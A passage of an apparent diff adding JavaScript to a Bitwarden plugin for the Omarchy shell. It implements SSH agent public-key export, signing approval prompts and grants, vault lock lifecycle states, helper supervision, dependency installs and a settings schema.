\"$__k\" = \"$__name\" ]; then __found=1; break; fi; " + + " done; " + + " [ \"$__found\" = \"1\" ] || rm -f -- \"$__existing\"; " + + "done; " + + "rm -f -- \"$__dir\"/.export.* 2>/dev/null; " + + "echo exported" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +// Logout, account change, and disabling the feature all remove the whole +// projection. A lock does not: public identities stay advertised while +// locked, so the files stay too. +function sshExportClearCommand() { + var script = sshExportDirPrelude() + + "[ -d \"$__dir\" ] || { echo cleared; exit 0; }; " + + "rm -f -- \"$__dir\"/*.pub \"$__dir\"/.export.* 2>/dev/null; " + + "rmdir -- \"$__dir\" 2>/dev/null; " + + "echo cleared" + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +function parseSshExportResult(exitCode, stdout) { + var failures = {} + failures[SSH_EXPORT_EXIT_NO_HOME] = { code: "NO_HOME", + message: "No data directory is set, so public key files cannot be written." } + failures[SSH_EXPORT_EXIT_UNSAFE_DIR] = { code: "UNSAFE_DIR", + message: sshExportDisplayDir() + " is not a directory this plugin will write to. " + + "Remove or rename whatever is at that path." } + + return parseExitCodeResult(exitCode, stdout, function(out) { + if (out === "exported" || out === "cleared" || out === "") { + return { ok: true, code: "OK", message: "" } + } + return null + }, failures, "Could not write public key files to " + sshExportDisplayDir() + ".") +} + +// ------------------------------------------------------------------------- +// Signing authorization UX +// ------------------------------------------------------------------------- +// +// The prompt is the only place a person is asked to authorise a signature, so +// what it says has to match what the companion actually checked. It verifies +// the peer's UID and nothing else: the PID, the executable path and the name +// derived from it are context for a human, not an identity claim, and the +// prompt says so rather than implying otherwise. + +// Matches REQUEST_LIFETIME_MS in the companion. The panel only draws the +// countdown; the companion is what actually expires the request. Two minutes +// rather than thirty seconds because this waits on a person reading a +// fingerprint, not on a machine -- see docs/decisions/0003-request-deadline.md. +var SSH_AGENT_REQUEST_DEADLINE_MS = 120 * 1000 + +// Bounds on anything drawn from a vault item or another process. A name comes +// from a collection somebody else may be able to edit, and a path comes from +// outside the panel entirely. +var SSH_AGENT_MAX_NAME_CHARS = 256 +var SSH_AGENT_MAX_PATH_CHARS = 512 + +function sshAgentRequestDeadlineMs() { return SSH_AGENT_REQUEST_DEADLINE_MS } + +function boundedText(value, limit) { + var text = (value === undefined || value === null) ? "" : String(value) + return text.length > limit ? text.slice(0, limit) : text +} + +function isRequestId(value) { + return typeof value === "number" && isFinite(value) && Math.floor(value) === value && value >= 0 +} + +function sshAgentApproveLine(requestId, grantSeconds) { + if (!isRequestId(requestId)) return "" + var seconds = Math.floor(Number(grantSeconds)) + if (!isFinite(seconds) || seconds < 0) seconds = 0 + seconds = Math.min(seconds, SSH_AGENT_APPROVAL_WINDOW_MAX_SEC) + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "approve", + requestId: requestId, grantSeconds: seconds }) + "\n" +} + +function sshAgentDenyLine(requestId) { + if (!isRequestId(requestId)) return "" + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "deny", requestId: requestId }) + "\n" +} + +// The companion has no way to tell a dismissed unlock dialog from a user who +// wandered off, so the panel says which it was rather than letting the +// request burn its deadline. +function sshAgentUnlockCancelledLine(requestId) { + if (!isRequestId(requestId)) return "" + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "unlock_cancelled", + requestId: requestId, reason: "user-cancelled" }) + "\n" +} + +function sshAgentRevokeGrantLine(grantId) { + if (!isRequestId(grantId)) return "" + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "revoke_grant", grantId: grantId }) + "\n" +} + +// "/usr/bin/ssh" -> "ssh". Only ever for display beside the full path, never +// as a substitute for it: a basename is the easiest part of this to fake. +function processNameFromPath(processPath) { + var text = String(processPath === undefined || processPath === null ? "" : processPath) + var cut = text.lastIndexOf("/") + var name = cut >= 0 ? text.slice(cut + 1) : text + return boundedText(name, SSH_AGENT_MAX_NAME_CHARS) +} + +function formatDuration(seconds) { + var total = Math.max(0, Math.floor(Number(seconds)) || 0) + var minutes = Math.floor(total / 60) + var rest = total % 60 + if (minutes > 0 && rest > 0) return minutes + "m " + rest + "s" + if (minutes > 0) return minutes + "m" + return rest + "s" +} + +var SSH_AGENT_PROVENANCE_NOTE = + "Reported by the system, not verified. Only the requesting user was checked." +var SSH_AGENT_FORWARDED_WARNING = + "This request arrived over agent forwarding, which this release does not support. " + + "The process shown is not the one that will use the signature." + +// One approval_required message, reduced to what the prompt draws. Everything +// attacker-influenced is bounded here rather than at the point it is rendered. +function sshAgentPromptView(message, approvalWindowSec) { + var request = message || {} + var window = Math.max(0, Math.min(SSH_AGENT_APPROVAL_WINDOW_MAX_SEC, + Math.floor(Number(approvalWindowSec)) || 0)) + var forwarded = request.forwarded === true + // A grant is a window in which this process signs without asking again, so + // it is offered only when the companion offered one, the user has a + // non-zero window configured, and nothing about the request is unusual. + var grantOffered = request.grantOffered === true && window > 0 && !forwarded + return { + requestId: isRequestId(request.requestId) ? request.requestId : -1, + keyId: boundedText(request.keyId, SSH_AGENT_MAX_NAME_CHARS), + keyName: boundedText(request.keyName, SSH_AGENT_MAX_NAME_CHARS), + fingerprint: boundedText(request.fingerprint, SSH_AGENT_MAX_NAME_CHARS), + pid: Math.floor(Number(request.pid)) || 0, + processPath: boundedText(request.processPath, SSH_AGENT_MAX_PATH_CHARS), + processName: processNameFromPath(boundedText(request.processPath, SSH_AGENT_MAX_PATH_CHARS)), + operation: request.operation === "ssh-sign" ? "ssh-sign" : "", + grantOffered: grantOffered, + grantSeconds: grantOffered ? window : 0, + // "program", not "process": a grant matches the executable path and the + // key, so a fresh process running the same program rides it. That is what + // makes it useful for Git signing, which spawns one ssh-keygen per commit. + // See docs/decisions/0002-grant-scope.md. + grantLabel: grantOffered ? "Approve for this program · " + formatDuration(window) : "", + forwardedWarning: forwarded ? SSH_AGENT_FORWARDED_WARNING : "", + provenanceNote: SSH_AGENT_PROVENANCE_NOTE + } +} + +// FIFO queueing for concurrent SSH requests. Bounded to match the companion's +// MAX_PENDING capacity. +function sshAgentEnqueuePrompt(queue, message, maxQueue) { + var cap = typeof maxQueue === "number" && maxQueue > 0 ? maxQueue : 4 + var list = Array.isArray(queue) ? queue.slice() : [] + if (!message || !isRequestId(message.requestId)) return list + for (var i = 0; i < list.length; i++) { + if (list[i] && list[i].requestId === message.requestId) return list + } + if (list.length >= cap) return list + list.push(message) + return list +} + +function sshAgentDequeuePrompt(queue) { + if (!Array.isArray(queue) || queue.length === 0) { + return { next: null, remaining: [] } + } + return { next: queue[0], remaining: queue.slice(1) } +} + +function sshAgentRemovePrompt(queue, requestId) { + if (!Array.isArray(queue)) return [] + return queue.filter(function(item) { + return item && item.requestId !== requestId + }) +} + +function sshAgentPendingCount(activePrompt, queue) { + var active = activePrompt ? 1 : 0 + var queued = Array.isArray(queue) ? queue.length : 0 + return active + queued +} + +// The live grant set, as the settings screen draws it. Public metadata only: +// the companion never sends key material here and nothing below would carry +// it if it did. +function sshAgentGrantViews(grants, nowMs) { + if (!grants || !Array.isArray(grants)) return [] + var now = Number(nowMs) || 0 + var out = [] + for (var i = 0; i < grants.length; i++) { + var grant = grants[i] || {} + if (!isRequestId(grant.grantId)) continue + var remaining = Math.max(0, Math.floor(Number(grant.expiresInSec)) || 0) + out.push({ + grantId: grant.grantId, + keyName: boundedText(grant.keyName, SSH_AGENT_MAX_NAME_CHARS), + fingerprint: boundedText(grant.fingerprint, SSH_AGENT_MAX_NAME_CHARS), + pid: Math.floor(Number(grant.pid)) || 0, + processPath: boundedText(grant.processPath, SSH_AGENT_MAX_PATH_CHARS), + processName: processNameFromPath(boundedText(grant.processPath, SSH_AGENT_MAX_PATH_CHARS)), + // When it runs out, not how long it had left when it was announced. + // The label below is a snapshot of one instant; this is what lets a + // later instant be worked out without another announcement. + expiresAtMs: now + remaining * 1000, + remainingSec: remaining, + remainingLabel: remaining > 0 ? formatDuration(remaining) + " left" : "expiring" + }) + } + return out +} + +// The announced set as it stands at a given moment. +// +// The companion announces a grant once and says nothing more until something +// changes, so a view rendered straight from an announcement is frozen at the +// number it was born with -- a two-minute grant reading "1m 59s left" for its +// whole life, then vanishing without ever having counted down. Re-deriving +// against a ticking clock is what makes the remaining time mean anything, and +// it drops a grant the moment it lapses rather than waiting to be told. +function sshAgentGrantsAt(views, nowMs) { + if (!views || !Array.isArray(views)) return [] + var now = Number(nowMs) || 0 + var out = [] + for (var i = 0; i < views.length; i++) { + var view = views[i] || {} + // Nothing to re-derive from: an announcement that has not been stamped, + // or a tick that has not run yet. Show it as announced rather than drop a + // live grant on a technicality. + if (typeof view.expiresAtMs !== "number" || now <= 0) { + out.push(view) + continue + } + var remaining = Math.max(0, Math.ceil((view.expiresAtMs - now) / 1000)) + if (remaining <= 0) continue + out.push({ + grantId: view.grantId, + keyName: view.keyName, + fingerprint: view.fingerprint, + pid: view.pid, + processPath: view.processPath, + processName: view.processName, + expiresAtMs: view.expiresAtMs, + remainingSec: remaining, + remainingLabel: formatDuration(remaining) + " left" + }) + } + return out +} + +// Unlocking runs the panel's ordinary vault read, which decrypts the whole +// vault and takes seconds. The SSH request that triggered the unlock is held +// across it rather than failed, so the user needs to see that something is +// happening -- otherwise unlocking appears to do nothing until the approval +// prompt arrives. There is no faster path: `bw` has no server-side type +// filter, so an SSH-only read would decrypt exactly as much and cost the +// same seconds. +function sshAgentLoadingNote() { + return "Loading your SSH keys from the vault. The signing request is still waiting." +} + +// The agent never opens an approval UI over the lock screen. An unknown screen +// state counts as locked: the cost of not prompting is a failed SSH request, +// and the cost of prompting is a credential decision on a locked desktop. +function sshAgentShouldPrompt(context) { + if (!context || typeof context !== "object") return false + return context.screenLocked !== true +} + +// A same-UID process can ask for a signature as often as it likes. It cannot +// be stopped from trying, but it can be stopped from reopening the panel every +// time: two consecutive refusals and the panel stops raising prompts for a +// while. Approving clears the run, because a user who is engaging is not being +// pestered. +var SSH_AGENT_COOLDOWN_AFTER = 2 +var SSH_AGENT_COOLDOWN_MS = 5 * 60 * 1000 + +function sshAgentCooldownInitial() { + return { refusals: 0, untilMs: 0 } +} + +function sshAgentCooldownAfter(state, outcome, nowMs) { + var current = state || sshAgentCooldownInitial() + var now = Number(nowMs) || 0 + // Approving clears the run because the user is engaging. So does resuming, + // and that one matters more than it looks: a running cooldown suppresses the + // prompts an approval would have to come from, so an approval can never end + // one that has already started. Without an explicit resume the only exit is + // waiting the full window out. + if (outcome === "approved" || outcome === "resumed") return { refusals: 0, untilMs: 0 } + if (outcome !== "denied" && outcome !== "timeout") { + return { refusals: current.refusals, untilMs: current.untilMs } + } + var refusals = current.refusals + 1 + return { + refusals: refusals, + untilMs: refusals >= SSH_AGENT_COOLDOWN_AFTER ? now + SSH_AGENT_COOLDOWN_MS : current.untilMs + } +} + +function sshAgentCooldownActive(state, nowMs) { + var current = state || sshAgentCooldownInitial() + return (Number(nowMs) || 0) < current.untilMs +} + +// A cooldown that fails signatures silently is worse than the pestering it +// prevents: SSH stops working for minutes with no explanation anywhere, and +// the user has no reason to connect the two. So it says what it is doing and +// when it stops -- in general terms only, naming neither the key nor the +// process, because the whole point is that the requests are unattended. +function sshAgentCooldownStatus(state, nowMs) { + var current = state || sshAgentCooldownInitial() + var now = Number(nowMs) || 0 + if (now >= current.untilMs) return { active: false, remainingSec: 0, message: "" } + var remaining = Math.ceil((current.untilMs - now) / 1000) + return { + active: true, + remainingSec: remaining, + message: "SSH signing requests are being refused after repeated unanswered prompts. " + + "Normal service resumes in " + formatDuration(remaining) + "." + } +} + +// ------------------------------------------------------------------------- +// Vault lifecycle +// ------------------------------------------------------------------------- +// +// The companion's state follows the vault's, and both are stated explicitly +// rather than inferred from whether a socket or a key happens to exist. The +// two functions below are the design's state table; sshAgentLifecycleTransition +// is what each vault event does about it. + +// The panel waits this long for the companion's `locked` acknowledgment and +// then kills it. The acknowledgment is what lets the panel say "keys cleared" +// as well as "vault locked" -- it is never a precondition for locking, because +// a companion that cannot confirm a lock is one that must not keep running. +var SSH_AGENT_LOCK_ACK_TIMEOUT_MS = 2000 + +function sshAgentLockAckTimeoutMs() { return SSH_AGENT_LOCK_ACK_TIMEOUT_MS } + +// Settings the companion has to act on. Sent after the handshake and again +// whenever they change, because the companion has no other way to learn them. +function sshAgentOptionsLine(unlockOnDemand) { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "options", + unlockOnDemand: unlockOnDemand === true }) + "\n" +} + +function sshAgentRevokeGrantsLine() { + return JSON.stringify({ v: SSH_AGENT_CONTROL_VERSION, type: "revoke_grants" }) + "\n" +} + +// Ordered most-restrictive first, so a stale public cache can never outrank a +// logout: an account change has to leave nothing behind, whatever was loaded a +// moment earlier. +function sshAgentVaultState(context) { + var ctx = context || {} + if (!ctx.enabled || !ctx.helperReady) return "disabled" + if (!ctx.loggedIn) return "logged-out" + if (ctx.loading) return "loading" + if (ctx.unlocked) return "unlocked" + return ctx.hasPublicCache ? "locked-cached" : "locked-empty" +} + +// What each state offers. Public keys are not secret, so they survive a lock +// and spare the user an unlock prompt for an identity listing; private keys +// exist in exactly one state, and it is the only one that can sign without a +// further unlock. +var SSH_AGENT_STATE_POLICY = { + "disabled": { publicIdentities: false, privateKeys: false, signing: "denied" }, + "logged-out": { publicIdentities: false, privateKeys: false, signing: "denied" }, + "locked-empty": { publicIdentities: false, privateKeys: false, signing: "needs-unlock" }, + // A load publishes nothing until it completes, so the previous public cache + // is all that is on offer and no signature may cross. + "loading": { publicIdentities: true, privateKeys: false, signing: "denied" }, + "unlocked": { publicIdentities: true, privateKeys: true, signing: "allowed" }, + "locked-cached": { publicIdentities: true, privateKeys: false, signing: "needs-unlock" } +} + +function sshAgentIdentityPolicy(state) { + var policy = SSH_AGENT_STATE_POLICY[state] + if (!policy) return { publicIdentities: false, privateKeys: false, signing: "denied" } + return { publicIdentities: policy.publicIdentities, privateKeys: policy.privateKeys, signing: policy.signing } +} + +// Events that end the current epoch's private material. Screen lock and +// suspend are listed rather than left for a reader to infer from the panel: +// they are locks, and the table should say so. +var SSH_AGENT_LOCK_EVENTS = ["lock", "screen-lock", "suspend"] +// Events that end the account itself, taking the public projection with it. +var SSH_AGENT_LOGOUT_EVENTS = ["logout", "account-change"] +// Events that ride the panel's own vault read. Only `startup` needs a caller: +// unlock and sync already run loadItems(), which carries the agent branch +// whenever the gate is open, so sending them here would load twice. They stay +// in the table because the table is the specification of what each event +// means, not a list of what happens to need a trigger today. +var SSH_AGENT_LOAD_EVENTS = ["unlock", "sync", "startup"] + +function sshAgentLifecycleTransition(event, context) { + var ctx = context || {} + var action = { + controlLines: [], + cancelLoad: false, + startLoad: false, + awaitLockAck: false, + stopHelper: false, + clearPublic: false + } + var live = Boolean(ctx.enabled) && Boolean(ctx.helperReady) + + if (event === "disable" || event === "shutdown") { + action.stopHelper = true + action.cancelLoad = true + // Nothing of this account survives the feature being turned off, and the + // companion's socket and FIFO go with the process. + action.clearPublic = true + return action + } + + if (SSH_AGENT_LOCK_EVENTS.indexOf(event) >= 0) { + // The cancel happens whether or not a companion is listening: the load is + // the panel's own process group, and a lock has to stop it either way. + action.cancelLoad = true + if (live) { + action.controlLines.push(sshAgentVaultLockedLine(ctx.epoch)) + action.awaitLockAck = true + } + return action + } + + if (SSH_AGENT_LOGOUT_EVENTS.indexOf(event) >= 0) { + action.cancelLoad = true + action.clearPublic = true + // No acknowledgment is waited on here. Logout already tears the account + // down on the panel's side, and the companion's public cache goes with it + // rather than being retained the way a lock retains it. + if (live) action.controlLines.push(sshAgentLoggedOutLine()) + return action + } + + if (SSH_AGENT_LOAD_EVENTS.indexOf(event) >= 0) { + // Startup is not evidence that the vault is locked: `rememberSession` can + // restore a session key, leaving the panel unlocked while a freshly + // started companion still has no cache. That case needs the same load an + // interactive unlock would have run. + action.startLoad = live && Boolean(ctx.unlocked) + return action + } + + return action +} + +// Setup is an explicit state, not something inferred from whether a socket +// happens to exist. There are exactly three, and the transient face of +// starting up is `enabled` with `busy` set rather than a fourth: +// +// disabled nothing runs; no socket, no FIFO, no agent branch +// enabled the helper is running, or is on its way to running +// error the helper is stopped or backing off; the vault is unaffected +// +// Client routing is deliberately absent. Where SSH_AUTH_SOCK points changes +// nothing here: the companion binds a deterministic path and never reads that +// variable, so routing is a diagnostic about the user's terminal, not a +// verdict on the feature. See sshAuthSockDiagnostic(). +function sshAgentSetupState(opts) { + var o = opts || {} + if (!o.enabled) { + return { + state: "disabled", busy: false, + message: "The SSH agent is off. Your vault works normally; SSH keys stay read-only records." + } + } + // The one hard prerequisite. XDG_RUNTIME_DIR is set by pam_systemd at login, + // and falling back to a guessable path would put the socket somewhere + // another user could have prepared first. + if (!o.supervisable) { + return { + state: "error", busy: false, + message: "The SSH agent needs a per-login runtime directory and could not find one. " + + "Without XDG_RUNTIME_DIR it refuses to start rather than use a path it cannot trust." + } + } + if (o.phase === "ready") { + return { state: "enabled", busy: false, message: "The SSH agent is running and serving its socket." } + } + if (o.phase === "starting" || o.phase === "handshaking") { + return { state: "enabled", busy: true, message: "Starting the SSH agent helper..." } + } + return { + state: "error", busy: false, + message: o.errorCode ? sshAgentErrorMessage(o.errorCode) : sshAgentErrorMessage("EXITED") + } +} + +// phase: +// "disabled" nothing runs and nothing is scheduled +// "starting" Process.running is true, waiting for onStarted +// "handshaking" hello written, waiting for `ready` under a bounded timeout +// "ready" handshake complete; this is the only phase with an open gate +// "restarting" a failure was detected mid-run; waiting for the child to go +// "backoff" a restart timer is armed +// "failed" the restart cap was reached; the feature is off until it is +// explicitly re-enabled, and the rest of the plugin is untouched +function sshAgentInitialState() { + return { + phase: "disabled", + gateOpen: false, + socketPath: "", + fifoPath: "", + agentVersion: "", + failures: 0, + readyAtMs: 0, + errorCode: "", + errorMessage: "" + } +} + +function sshAgentNoAction() { + return { start: false, stop: false, writeHello: false, cancelRestart: false, restartInMs: -1, message: null } +} + +function sshAgentCopyState(state) { + var src = state || sshAgentInitialState() + return { + phase: src.phase, gateOpen: src.gateOpen, + socketPath: src.socketPath, fifoPath: src.fifoPath, agentVersion: src.agentVersion, + failures: src.failures, readyAtMs: src.readyAtMs, + errorCode: src.errorCode, errorMessage: src.errorMessage + } +} + +var SSH_AGENT_ERROR_MESSAGES = { + MALFORMED: "The SSH agent helper sent something the panel could not read.", + LINE_TOO_LONG: "The SSH agent helper sent an oversized message.", + VERSION_MISMATCH: "The SSH agent helper does not match this version of the plugin.", + UNKNOWN_TYPE: "The SSH agent helper does not match this version of the plugin.", + PROTOCOL: "The SSH agent helper broke its side of the control protocol.", + HANDSHAKE_TIMEOUT: "The SSH agent helper did not finish starting up.", + EXITED: "The SSH agent helper stopped unexpectedly.", + CRASH_LOOP: "The SSH agent helper keeps failing to start, so it has been left off." +} + +// Every message the user can see is a fixed string chosen by a stable code. +// Nothing the helper wrote reaches the UI: its stdout is the one input here +// that could be shaped by a vault item's name or a parser error. +function sshAgentErrorMessage(code) { + return SSH_AGENT_ERROR_MESSAGES[code] || SSH_AGENT_ERROR_MESSAGES.EXITED +} + +// A failure noticed while the child is still alive. The gate shuts now; the +// restart is decided when the exit actually arrives, so the backoff always +// counts real runs. +function sshAgentFailMidRun(next, action, code) { + next.gateOpen = false + next.phase = "restarting" + next.errorCode = code + next.errorMessage = sshAgentErrorMessage(code) + action.stop = true + action.cancelRestart = true +} + +// A run has ended. A run that lasted counts as healthy and clears the history +// behind it; anything else advances the backoff, and passing the cap turns the +// feature off rather than restarting forever. +function sshAgentFailOnExit(state, next, action, nowMs) { + next.gateOpen = false + next.socketPath = "" + next.fifoPath = "" + next.agentVersion = "" + if (!next.errorCode) { + next.errorCode = "EXITED" + next.errorMessage = sshAgentErrorMessage("EXITED") + } + var wasHealthy = state.readyAtMs > 0 && (Number(nowMs) - state.readyAtMs) >= SSH_AGENT_HEALTHY_MS + next.readyAtMs = 0 + next.failures = (wasHealthy ? 0 : state.failures) + 1 + if (next.failures > SSH_AGENT_MAX_RESTARTS) { + next.phase = "failed" + next.errorCode = "CRASH_LOOP" + next.errorMessage = sshAgentErrorMessage("CRASH_LOOP") + action.restartInMs = -1 + return + } + next.phase = "backoff" + action.restartInMs = sshAgentRestartDelayMs(next.failures) +} + +// The whole supervisor, as one pure transition. The panel hands in an event +// with the current clock and gets back the next state plus the side effects to +// perform; it never has to work out what phase means what. +function sshAgentReduce(state, event) { + var current = state || sshAgentInitialState() + var next = sshAgentCopyState(current) + var action = sshAgentNoAction() + var ev = event || {} + var nowMs = Number(ev.nowMs) || 0 + + if (ev.kind === "enabled") { + if (!ev.value) { + if (current.phase === "disabled") return { state: next, action: action } + next = sshAgentInitialState() + action.stop = true + action.cancelRestart = true + return { state: next, action: action } + } + // Re-enabling is the deliberate reset: it clears a crash-loop verdict and + // the failure history that produced it. Nothing else does, so a broken + // helper stays off until the user says otherwise. + if (current.phase !== "disabled" && current.phase !== "failed") { + return { state: next, action: action } + } + next = sshAgentInitialState() + next.phase = "starting" + action.start = true + return { state: next, action: action } + } + + if (current.phase === "disabled" || current.phase === "failed") { + return { state: next, action: action } + } + + switch (ev.kind) { + case "started": + if (current.phase !== "starting") return { state: next, action: action } + next.phase = "handshaking" + action.writeHello = true + return { state: next, action: action } + + case "handshakeTimeout": + if (current.phase !== "starting" && current.phase !== "handshaking") { + return { state: next, action: action } + } + sshAgentFailMidRun(next, action, "HANDSHAKE_TIMEOUT") + return { state: next, action: action } + + case "line": { + if (current.phase !== "handshaking" && current.phase !== "ready") { + return { state: next, action: action } + } + var parsed = parseAgentEvent(ev.line) + if (!parsed.ok) { + if (!parsed.fatal) return { state: next, action: action } + sshAgentFailMidRun(next, action, parsed.code) + return { state: next, action: action } + } + var isReady = parsed.message.type === "ready" + // `ready` answers `hello` exactly once. A second one, or any other + // message before the first, means the helper is not in the state the + // panel believes it is -- which is a signing-gate failure, not a + // message to interpret. + if (isReady !== (current.phase === "handshaking")) { + sshAgentFailMidRun(next, action, "PROTOCOL") + return { state: next, action: action } + } + if (isReady) { + next.phase = "ready" + next.gateOpen = true + next.socketPath = parsed.message.socketPath + next.fifoPath = parsed.message.fifoPath + next.agentVersion = parsed.message.agentVersion + next.readyAtMs = nowMs + // Deliberately not resetting `failures` here. A handshake proves the + // helper started, not that it works: a helper that answers hello and + // dies a second later, every time, is exactly the crash loop this + // bound exists to stop. Only a run that actually lasted clears the + // history, and that is decided at exit against SSH_AGENT_HEALTHY_MS. + next.errorCode = "" + next.errorMessage = "" + return { state: next, action: action } + } + action.message = parsed.message + return { state: next, action: action } + } + + case "exited": + sshAgentFailOnExit(current, next, action, nowMs) + return { state: next, action: action } + + case "restartTimer": + if (current.phase !== "backoff") return { state: next, action: action } + next.phase = "starting" + action.start = true + return { state: next, action: action } + + default: + return { state: next, action: action } + } +} + +// Whether the panel should be sitting on the setup screen instead of talking +// to `bw`. The plugin is installed and enabled before the CLI it drives +// necessarily exists -- `omarchy plugin add` does not install anything else -- +// so a fresh install has to lead with "here is what is missing, install it" +// rather than a status probe. Without `bw` that probe can only ever come back +// "not logged in", and the login form it lands on is a dead end until the CLI +// is there. +// +// The gate closes on three conditions rather than one: nothing is decided +// until the probe has actually run (`checked`), it only holds while a required +// tool is genuinely absent, and the user can always step past it (`dismissed`) +// to reach the login screen anyway. +function setupGateActive(deps, checked, dismissed) { + if (!checked || dismissed) return false + return missingRequired(deps).length > 0 +} + +// What a finished dependency probe should do next. The panel has exactly three +// reactions available and choosing the wrong one is what a fresh install +// experiences as breakage, so the decision sits here in the open rather than +// inside a signal handler where nothing can reach it. +// +// "setup" -- a required tool is absent and the user has not waved setup +// away: show it, and ask `bw` nothing. +// "probe" -- the required tools are all present, and either this session has +// never looked at the vault or an install just arrived and the +// panel has been waiting on it. Either way, go ask. +// "idle" -- nothing to do. The ordinary case on a machine already set up, +// and also the case where a required tool is still missing but +// the user chose to carry on regardless. +// +// `wasGated` is the caller's memory of having seen a required tool missing. It +// is what makes an install finishing in a terminal we do not own -- no exit +// code, no signal, nothing to wait on -- turn into a panel that moves on. +function dependencyProbeOutcome(deps, dismissed, probeStarted, wasGated) { + if (missingRequired(deps).length > 0) return dismissed ? "idle" : "setup" + if (!probeStarted || wasGated) return "probe" + return "idle" +} + +// The packages a first-run install should ask for: everything absent, required +// or not, so one trip through the terminal leaves the whole feature set +// working instead of the bare minimum. +function missingPackages(deps) { + var pkgs = [] + if (!deps || !deps.items) return pkgs + for (var i = 0; i < deps.items.length; i++) { + var d = deps.items[i] + // A row this machine cannot use, or one Omarchy sets up through its own + // command, is not something to hand to `pkg add`. + if (!d.applicable || d.setup || d.installed) continue + if (pkgs.indexOf(d.pkg) === -1) pkgs.push(d.pkg) + } + return pkgs +} + +// Package names reach the installer through an unquoted shell expansion +// (omarchy-install-app runs `omarchy-pkg-add ${packages}`, where the splitting +// is the point). Everything here comes from the DEPENDENCIES constant above, +// so this guards a constant rather than user input -- but the guard is what +// keeps that true if a package name ever starts coming from somewhere else. +function isPlainPackageName(name) { + return typeof name === "string" && /^[A-Za-z0-9][A-Za-z0-9._+-]*$/.test(name) +} + +// Installs are surfaced through Omarchy's own installer: a floating, centred, +// themed terminal with the Omarchy logo, the package output, and a "press any +// key to close" at the end. Same window every other app install on the system +// opens, and it means we neither pick a terminal nor invent our own wait-for- +// keypress. A password prompt has somewhere to be answered. +function installPackagesCommand(pkgs, displayName) { + if (!pkgs || pkgs.length === 0) return null + for (var i = 0; i < pkgs.length; i++) { + if (!isPlainPackageName(pkgs[i])) return null + } + var name = displayName || (pkgs.length === 1 ? pkgs[0] : "Bitwarden plugin dependencies") + return ["omarchy", "install", "app", name, pkgs.join(" ")] +} + +// Fingerprint is Omarchy's to set up, not ours: `omarchy setup security +// fingerprint` detects the reader, installs libfprint/fprintd/usbutils, +// enrols a finger, verifies it, and only then writes the PAM stacks -- the +// last of which is what this plugin's `ready` check is actually looking for. +// It runs in the same floating terminal as an install, since it is interactive +// (sudo, then "keep moving the finger around on the sensor"). +function fingerprintSetupCommand() { + return ["omarchy", "launch", "floating", "terminal", "with", "presentation", + "omarchy setup security fingerprint"] +} + +// ------------------------------------------------------------------------- +// Settings Persistence +// ------------------------------------------------------------------------- +// +// Settings belong in the widget's own entry in ~/.config/omarchy/shell.json -- +// that is where Panel.setting() reads them and where Omarchy's own tooling +// expects them. Writing goes through `omarchy bar set` rather than editing the +// file directly, so Omarchy owns the parsing, merging and formatting, and the +// shell picks the change up on its usual hot reload. + +// Order is the screen's order. General leads: it is three short rows about how +// the panel behaves day to day, and they were previously split across two +// one-and-two-row sections stranded below the SSH agent's block, which is by +// far the tallest thing on this screen. Security follows and is the group that +// opens expanded, because it is what the screen is usually opened for. +var SETTINGS_GROUPS = [ + { id: "general", label: "General" }, + { id: "security", label: "Security" }, + { id: "sshAgent", label: "SSH Agent" } +] + +var SETTINGS_SCHEMA = [ + { key: "autoLockMinutes", group: "security", type: "int", label: "Auto-lock after", unit: "minutes", + min: 0, max: 1440, step: 5, zeroLabel: "Never", defaultValue: 15, + description: "Lock the vault after this long without activity." }, + { key: "clearClipboardSec", group: "security", type: "int", label: "Clear clipboard after", unit: "seconds", + min: 0, max: 300, step: 5, zeroLabel: "Never", defaultValue: 30, + description: "Wipe a copied password or code from the clipboard." }, + { key: "lockOnScreenLock", group: "security", type: "bool", label: "Lock when the screen locks", defaultValue: true, + description: "Lock as soon as the screen locks, rather than waiting out the auto-lock." }, + { key: "lockOnSuspend", group: "security", type: "bool", label: "Lock when the machine suspends", defaultValue: true, + description: "Lock before sleep, so no session key is left in the suspended machine's memory." }, + { key: "rememberSession", group: "security", type: "bool", label: "Remember session in keyring", defaultValue: true, + description: "Keep the unlocked session in the OS keyring so it survives a shell restart." }, + { key: "fingerprintUnlock", group: "security", type: "bool", label: "Unlock with fingerprint", defaultValue: false, + requires: "fprintd", action: "fingerprint", + description: "Store the master password in the OS keyring, gated behind a fingerprint." }, + { key: "pinUnlock", group: "security", type: "bool", label: "Unlock with PIN", defaultValue: false, + action: "pin", + description: "Encrypt the master password with a key derived from a PIN. Use 6 digits or more; 4 is the floor and is flagged as weak." }, + + { key: "sshAgentEnabled", group: "sshAgent", type: "bool", label: "Act as your SSH agent", defaultValue: false, + description: "Serve SSH keys from your vault to ssh, Git and signing, while the vault is unlocked. Private keys stay in a separate helper process and are never written to disk." }, + { key: "sshAgentUnlockOnDemand", group: "sshAgent", type: "bool", label: "Unlock on demand", defaultValue: false, + description: "Let an SSH client open the unlock prompt when the vault is locked. Off by default because every ssh connection asks for identities, including ones with nothing to do with your vault." }, + { key: "sshAgentApprovalPopup", group: "sshAgent", type: "bool", label: "Use centered approval popup", defaultValue: true, + description: "Show SSH unlock and signing requests in a transient card in the middle of the screen instead of opening the anchored panel. Disable to show them in the panel." }, + { key: "sshAgentApprovalWindowSec", group: "sshAgent", type: "int", label: "Approve for this long", unit: "seconds", + min: 0, max: SSH_AGENT_APPROVAL_WINDOW_MAX_SEC, step: 30, zeroLabel: "Always ask", defaultValue: 120, + description: "How long one approval covers further signatures from the same process. Grants live only in the helper's memory and never survive a restart." }, + + { key: "closeOnCopy", group: "general", type: "bool", label: "Close panel on copy", defaultValue: true, + description: "Return focus to your app as soon as Enter copies a credential." }, + { key: "colorizeIcon", group: "general", type: "bool", label: "Colorize menu-bar icon", defaultValue: false, + description: "Use the active Omarchy theme accent for the primary menu-bar icon." }, + { key: "autoCopyTotpSec", group: "general", type: "int", label: "Auto-copy TOTP after", unit: "seconds", + min: 0, max: 30, step: 1, zeroLabel: "Off", defaultValue: 3, + description: "Replace the clipboard with the 2FA code this long after the password." }, + + { key: "suggestOnOpen", group: "general", type: "bool", label: "Suggest for active window", defaultValue: true, + description: "Match the focused 